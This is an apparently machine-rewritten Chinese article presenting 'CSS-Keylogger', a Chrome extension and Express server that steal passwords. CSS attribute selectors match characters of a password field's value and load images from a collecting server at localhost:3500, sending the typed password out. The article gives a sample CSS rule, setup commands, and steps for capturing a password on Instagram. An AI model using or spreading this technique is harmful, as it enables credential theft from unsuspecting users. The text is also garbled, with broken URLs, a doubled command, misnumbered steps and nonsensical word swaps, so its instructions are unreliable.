CSS-Keylogger：一个利用CSS实现的Chrome键盘记录插件

"今日给大伙儿详细介绍的是这款全名是css样式-Keylogger的键盘记录专用工具，我觉得严格来说，它应当是这款谷歌浏览软件，专用工具的应用还必须配搭Express网络服务器。

工作方案

该专用工具的管理机制我觉得比较简单，它运用的是css样式特性采集器， 而且可以在载入网页背景图像的那时候从外界网络服务器post请求資源。

例如，下边得出的一段css样式编码能够挑选出全部type=“password”而且value值以“a”末尾的input文本框。接下去，它会试着从.com://localhost:3500/a载入一張图象。

input[type=""password""][value$=""a""]{

  background-image:url("".com://localhost:3500/a"");

}

人们只必须应用1个简易的脚本制作，就可以建立1个能够上传自定post请求（可包括随意ASCII空格符）的css样式文档了。

脚本制作免费下载：【传送门】

css样式文档获得：【传送门】

专用工具应用

设定谷歌浏览拓展

1.   应用下述指令将css样式-Keylogger编码库复制到当地：

git clone https://github.Com/maxchehab/css样式-Keylogging

2.   打开网页并浏览chrome://extensions（或是根据点一下电脑浏览器右上方3个点的标志来开启谷歌浏览莱单，进到“大量专用工具”并挑选“扩展程序”）。

3.   保证右上方的开发者模式选择项已发票勾选。

11.   点一下“载入已解压文件的扩展程序…”。

4.   挑选你免费下载在当地的css样式-keylogger-extension文件目录。

设定Express网络服务器

yarn yarn start

获得登陆密码

1.   开启1个应用了操纵部件架构（比如React）的网址，比如https://WWW.instagram.Com/；

2.   打开网站以后，点一下电脑浏览器右上方的“C”字标志；

3.   键入你的登陆密码；

11.   接下去，Express网络服务器将会捕获你所键入的登陆密码；

就是说那么简单！期待本专用工具能够给大伙儿出示协助或产生某些设计灵感。

专用工具免费下载

css样式-Keylogger：【传送门】